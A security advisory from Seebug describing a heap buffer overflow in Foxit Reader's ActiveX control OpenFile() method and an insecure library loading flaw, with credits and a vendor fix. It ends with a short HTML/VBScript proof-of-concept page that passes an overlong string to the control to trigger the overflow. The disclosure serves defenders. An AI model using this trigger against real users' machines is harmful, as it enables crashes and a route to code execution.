Foxit Reader ActiveX Control Buffer Overflow and Insecure Library Loading Vulnerabilities

2011-07-24T00:00:00
ID SSV:20760
Type seebug
Reporter Root
Modified 2011-07-24T00:00:00

Description

Two vulnerabilities have been discovered in Foxit Reader, which can be exploited by malicious people to compromise a user's system.

1) A boundary error in the FoxitReaderOCX ActiveX control when processing the "OpenFile()" method can be exploited to cause a heap-based buffer overflow via an overly long string passed in the "strFilePath" parameter.

2) The application loads libraries (e.g. dwmapi.dll and dwrite.dll) in an insecure manner and can be exploited to load arbitrary libraries by tricking a user into e.g. opening a PDF file located on a remote WebDAV or SMB share.

Successful exploitation of these vulnerabilities allows execution of arbitrary code.

The vulnerabilities are confirmed in version 5.0.1.0523. Other versions may also be affected.

Foxit Reader 5.x Foxit Reader ActiveX Control 2.x Update to version 5.0.2.0718.

Provided and/or discovered by 1) Originally reported by SarBoT511 and D3V!L FUCKER in version 3.1.4.1125, but the control was not marked "safe for scripting". Fixed in version 4.3.0.1110 at the same time as the control was marked "safe for scripting".

Discovery of regression in the "safe for scripting" control in version 5.0.1.0523 by Secunia Research.

2) Jose Hernandez, Solutionary Engineering Research Team (SERT).

http://www.foxitsoftware.com/products/reader/security_bulletins.php#certain http://www.foxitsoftware.com/products/reader/security_bulletins.php#execution

                                        
                                            
                                                #Vendor :www.foxitsoftware.com
#tested on :[windows 7]
#Foxit Reader Version 3.1.4.1125
 
<html>
<object classid='clsid:05563215-225C-45EB-BB34-AFA47217B1DE' id='target' ></object>
<script language='vbscript'>
 
targetFile = "C:\Program Files\Foxit Software\Foxit Reader\plugins\FoxitReaderOCX.ocx"
prototype  = "Function OpenFile ( ByVal strFilePath As String ) As Boolean"
memberName = "OpenFile"
progid     = "FOXITREADEROCXLib.FoxitReaderOCX"
argCount   = 1
  
arg1=String(6164, "A")
  
target.OpenFile arg1
  
</script>